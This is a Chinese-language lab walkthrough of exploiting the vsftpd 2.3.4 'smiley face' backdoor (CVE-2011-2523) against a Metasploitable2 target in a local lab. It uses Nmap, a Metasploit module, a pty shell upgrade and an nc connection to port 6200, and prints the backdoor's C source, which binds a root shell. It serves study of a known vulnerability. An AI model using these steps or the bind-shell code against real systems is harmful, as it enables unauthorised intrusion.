# 靶机下载

# 渗透环境

  • 攻击机:Linux version 6.1.0-kali5-amd64 (devel@kali.org) (gcc-12 (Debian 12.2.0-14) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23)
  • 目标机:Metasploitable2-Linux

# 渗透过程

# 主机发现与端口扫描

由于目标靶场的网络模式为 NAT 模式,所以只要 Kali 与之在同一个网段即可,此处 VM 设置 NAT 模式的子网地址为 192.168.152.0 ,故对 192.168.152.1/24 进行 Nmap 扫描。

其中除开 192.168.152.1 192.168.152.2 192.168.152.254 之后, 192.168.152.132 为 Kali 的 IP 地址,故可以锁定目标靶场 IP 为 192.168.152.135 .
在锁定靶场 IP 后,对其所开放的端口进行扫描。

可以看到开放了很多端口,其中也有对应端口的服务版本号信息,之后就可以根据该信息进行注意漏洞渗透。

# 基于 vsftpd2.3.4 后门笑脸漏洞

vsftpd 2.3.4 版本中,在登录输入用户名时输入 :) 类似于笑脸的符号,会导致服务处理开启 6200 后门端口,直接执行系统命令。而此处靶场被扫描到的 FTP 端口版本正好符号该要求。

# MSF 进行漏洞利用

开启 msfconsole,搜索 vsftpd 模块,并 use:

输入 options 查看需要配置项:

配置 RHOSTS:

输入 run 开始,可以发现已经成功建立连接,输入 whoami 查看其当前用户身份:

由于此时使用的终端不是很方便操作,可以输入 python 命令来获取一个虚拟终端:

python -c "import pty;pty.spawn('/bin/sh')"

# 连接 6200 后门

直接 ftp 192.168.152.135 进行 ftp 连接:

此时再去另外一个终端端口输入 nc 192.168.152.135 6200 进行连接:

据结果所见,漏洞利用成功。😁

# 笑脸漏洞 - CVE-2011-2523 原理

存在该漏洞的原因主要是在 FTP 代码的 str.c 文件中有这么一段与程序无关的代码:

// 位于 VSFTPD2.3.4 的 str.c 中
else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
  vsf_sysutil_extra();
}

p_buf [i] 数组里存储的数据是用户输入的用户名,此处判断第 i 处和 i+1 处的字符是否为 0x3a0x29 , 是则执行 vsf_sysutil_extra () 函数,而所判断的两个字符正好对应其 “:” 和 “)” 组合起来就是一个笑脸符号,故得名笑脸漏洞。
而 vsf_sysutil_extra () 的具体实现如下:

// 位于 VSFTPD2.3.4 中的 sysdeputil.c
int vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
  }
}